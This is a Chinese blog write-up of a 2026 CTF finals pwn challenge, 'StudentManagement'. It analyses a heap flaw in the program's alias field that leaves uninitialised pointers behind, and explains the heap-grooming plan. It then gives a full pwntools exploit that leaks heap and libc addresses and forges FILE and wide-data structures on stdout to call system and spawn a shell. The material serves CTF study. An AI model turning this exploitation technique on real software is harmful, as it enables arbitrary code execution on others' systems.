Background banner
1468 字
7 分钟
[Writeup] 软件系统安全赛 2026 - 决赛 Pwn

哈哈决赛拉了坨大的,滚去考研去了

1. StudentManagement#

TIP

这道题是唯一一道要求 Fix 的,但是我不会,不会修

1-1 分析#

1-1-1 菜单功能一览#

对于攻击来说,这是一个菜单堆

  • 一个大菜单主要是申请堆块(Reg)和删除堆块(Del)writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-2773F24B-B449-4B65-9556-0EE72AD5921D
  • 一个小菜单主要是输出内容(View)和部分修改(Bio)writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-CD14259F-8953-45BA-BD84-5AD601CE94D1

1-1-2 堆块结构#

我们来看申请堆块的函数writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-64EB00E9-5438-4E9D-AB57-1E97AE06E830

IMPORTANT

buf 是 Qword 类型指针,以 8 个字节为单位算

首先会申请可用大小是 0x88 的堆块,然后会往堆块写内容,其中:

  • 前 0x10 是 ID,占大小 0x10
  • 0x10 - 0x50 是 Name,占大小 0x40
  • 0x50 - 0x70 是 Password,占大小 0x20
  • 0x80 - 0x88 写入了某个地址,占大小是指针的 8 字节,这里 0x4030 是存放堆块地址的地方,而且是最近申请的堆块地址,这里是把自己的地址放上去,把原本的地址写到堆块的这个位置,不难看出这里要存一个单链表,我标注的 fnFindID 其实就是遍历这个单链表
  • 所有输入全末尾置 0 并且不会越界
    再看上面提到的修改别名的函数writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-0BB9F2FB-FA21-471E-82D4-9A78E9339702
    大小被限制到了 0x400,不存在就根据输入大小申一个,大小超了就释放了申请一个,堆块 0x70 的位置放了一个记录别名堆块的地址,堆块 0x78 写了一个堆块的大小(输出要用)
    至此堆块的结构就解析完了

1-2 问题点 & 利用思路#

我们回顾上面的别名堆块,他会先判断对应位置堆块地址存不存在,堆块符不符合要求,而且第一次增加别名的话并不会直接写一个地址上去,申请堆块也不会对堆块进行清零操作
这就会导致一个问题,我们如果有一个上面说过的堆块,这里正好可以留一个地址的话,我们就能在任意的某处写东西,进而构造成自己指自己的结构实现任意写
但是存在一个问题writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-5FF3FD91-73EA-4EED-9B3D-3F749E4C5186
正常 Free 会置 0,我们需要一个极其天才的设计,才能在对应位置写地址
其实当时很快就想到了,奈何开题开错了,脑子抽了没找到洞,人也不全,其他题被一个逆向部分卡住了,直接爆 0

1-3 解题思路#

其实就是堆风水,我们需要

  • 一个非 tcache,能分出堆块且大小适合的大堆块
  • 看图说话writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-3DA547A7-6E13-4BBE-B6DF-67D9658EDFB4
    1. 想尽一切办法,在这个非 tcache 的大堆上申一个绿色范围的堆块,然后释放,此时红色地方就会留下神秘小地址,这个工作基本交给 Bio 堆了
    2. 然后再想想办法,将控制堆块申到橙色位置,我们就能往神秘小位置写很多东西,因为大小位置也是神秘小地址,大小肯定够、
      我认为红色位置是堆块地址是最有利的,可以构造任意写,所以我们对于大堆的要求是足够大,以至于我们分割这个大的 UnsortedBin 的时候可以留下 LargeBin 的头,而且大小范围内只有一个 LargeBin 的话指向的也是 0x33f0,符合任意写的要求,所以我们对应的绿色块其实小 0x10
      考虑到输入截断太多,这个任意写肯定是要多次的,但是往非堆地方写一次就不能用了,所以我们考虑改多个控制堆,所以当时我构造了这样的writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-C31F8A7F-A8A0-4FE0-89B5-BBB0AE01AE04
      我们其他地方找个堆块,往大堆申请一个大的 Bio 堆,释放,红色地方留下地址,申请一个 0x88 的橙色控制堆,不释放,申请一个 0x88 的绿色控制堆,不释放,此时绿色堆可以往 0x3480 开始随便写
      我们还能写到橙色堆块,覆盖它的指针,可以做到泄露地址,任意写功能等等,下面脚本会介绍部分操作

1-4 脚本#

#
############################################################################
# Start your exploit here
############################################################################
def begin():
for i in range(10):
add(i)
login(i)
edit(0x400, b'114514')
logout()
add(10)
add(11)
add(12)
for i in range(9):
rm(i)
for i in range(8):
add(i)
for i in range(7):
login(i)
edit(0x400, b'114514')
logout()
login(10)
edit(0xe0, b'1919810')
logout()
login(11)
edit(0x400, b'1919810')
logout()
for i in range(20, 27):
add(i)
login(i)
edit(0xe0, b'1919810')
logout()
for i in range(20, 27):
rm(i)
for i in range(7):
rm(i)
rm(10)
rm(11)
for i in range(7):
add(i)
for i in range(20, 27):
add(i)
add(30)
add(31)
add_s(32)
add_s(33)
login_s(33)
edit(33, b'\x00' * 32)
logout()
login_s(32)
edit(32, b'4545454545')
logout()
login_null(33)
choice(1)
io.recvuntil(b'Bio: ')
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info(hex(leak_addr))
heap_base = leak_addr - 0x24b0
log.info(hex(heap_base))
libc_addr = heap_base + 0x2398
payload = b'\x00' * 0x18 + p64(0x91) + b'\x00' * 0x70 + p64(libc_addr)
edit(len(payload) + 1, payload)
choice(1)
io.recvuntil(b'Bio: ')
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info(hex(leak_addr))
libc_addr = leak_addr - (0x7b26f6403f50 - 0x7b26f6200000)
log.info(hex(libc_addr))
_IO_2_1_stdout_addr = libc.sym['_IO_2_1_stdout_'] + libc_addr
_IO_wfile_jumps_addr = libc.sym['_IO_wfile_jumps'] + libc_addr
system_addr = libc.sym['system'] + libc_addr
file = FileStructure()
file.flags = b' sh;'
file._wide_data = heap_base + 0x25c0
file.vtable = _IO_wfile_jumps_addr + 24 - 0x38
wide = WideDataStructure()
# 过判断使用
wide._IO_read_ptr = system_addr
wide._IO_write_base = 0
wide._IO_buf_base = 0
# 上文说的想执行地址的地址
wide._wide_vtable = heap_base + 0x25c0 - 0x68
payload = b'\x00' * 0x80 + p64(0x91) + b'\x00' * \
0x70 + p64(_IO_2_1_stdout_addr) + b'\xff' * 16
payload += p64(0x31) + b'\x00' * 40 + p64(0x3b1)
payload += bytes(file) + bytes(wide)
edit(len(payload) + 1, payload)
payload = bytes(file)
pause()
edit(len(payload), payload)
io.interactive()
def choice(num):
io.sendlineafter(b'>', str(num).encode())
def add(id):
choice(1)
id = str(id).encode()
id = id.ljust(15, b'\x20')
name = id.ljust(63, b'\x20')
io.sendafter(b'ID:', id)
io.sendafter(b'Name:', name)
io.sendafter(b'Pass:', b'a' * 31)
def add_s(id):
choice(1)
id = str(id).encode()
io.sendafter(b'ID:', id)
io.sendafter(b'Name:', id)
io.sendafter(b'Pass:', b'aaa')
def rm(id):
choice(3)
id = str(id).encode()
id = id.ljust(15, b'\x20')
io.sendafter(b'ID to delete:', id)
def login(id):
choice(2)
id = str(id).encode()
id = id.ljust(15, b'\x20')
io.sendafter(b'ID:', id)
io.sendafter(b'Pass:', b'a' * 31)
def login_s(id):
choice(2)
io.sendafter(b'ID:', str(id).encode())
io.sendafter(b'Pass:', b'aaa')
def login_null(id):
choice(2)
io.sendafter(b'ID:', str(id).encode())
io.sendafter(b'Pass:', b'\x00')
def edit(size, con):
choice(2)
io.sendlineafter(b'size', str(size).encode())
io.sendafter(b'tent', con)
def logout():
choice(0)

2. Traditional#

准备考研,慢慢更新…比赛场根本逆向不懂,懂吗

3. 带代理的神秘小游戏(忘了叫啥了)#

缺逆向手,没做出来,也是等待更新…卧槽9999竟然能直接连接我去不早说

[Writeup] 软件系统安全赛 2026 - 决赛 Pwn
https://blog.lufiende.work/posts/ctf/writeups/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/
作者
Lufiende
发布于
2026-06-05
许可协议
CC BY-NC-SA 4.0